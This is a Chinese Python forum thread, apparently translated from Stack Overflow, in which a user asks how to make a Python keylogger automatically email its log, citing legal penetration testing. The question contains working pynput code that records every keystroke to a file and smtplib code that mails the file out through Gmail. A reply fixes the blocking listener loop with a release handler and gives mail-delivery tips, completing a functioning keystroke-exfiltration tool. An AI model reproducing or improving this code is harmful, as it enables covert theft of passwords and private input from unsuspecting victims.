社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Python

如何使python自动发送电子邮件

Alexander Drossos • 5 年前 • 363 次点击  

我正在尝试用python制作一个简单的键盘记录器(用于法律渗透测试目的),但我在让脚本自动向我发送电子邮件时遇到了问题。

如果我把电子邮件代码放在我的键盘记录程序之后,它不会给我发送TXT文件,我想这是因为键盘记录程序脚本不断重复自己,不承认我的电子邮件脚本,我如何才能解决这个问题?

这是剧本:

    from pynput.keyboard import Key, Listener
import smtplib
import logging
import smtplib

log_dir = ""

logging.basicConfig(filename=(log_dir + "yourtext.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders

email_user = 'EMAIL'
email_password = 'PASSWORD'
email_send = 'EMAIL'

subject = 'logger'

msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject

body = 'your text'
msg.attach(MIMEText(body,'plain'))

filename='yourtext.txt'
attachment  =open(filename,'rb')

part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)

msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login('EMAIL','PASSWORD')


server.sendmail(email_user,email_send,text)
server.quit() 
Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/40793
 
363 次点击  
文章 [ 1 ]  |  最新文章 5 年前
skaul05
Reply   •   1 楼
skaul05    6 年前

因此,首先,当侦听器调用开始时,您没有添加任何中断,这样您的程序就会陷入那个循环中,并且没有任何条件可以出来。

尝试在下面的代码中添加断点

with Listener(on_press=on_press) as listener:
listener.join()

可以将特定字符添加为断点,或将某些行添加为断点。

如果您的邮件发送代码不起作用,请尝试使用gmail api。 Gmail API Docs

根据以下代码修改文件:

def on_press(key):
    logging.info(str(key))

def on_release(key):
    logging.info('{0} release'.format(key))
    if key == Key.caps_lock:
        return False

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

您可以找到与上述代码相关的更多信息 here

如果无法接收邮件,可能是因为未启用POP/IMAP。遵循以下步骤:

  1. 登录你的Gmail帐户
  2. 转到“设置”,然后单击“转发”并弹出/imap部分。
  3. 在IMAP访问部分启用IMAP。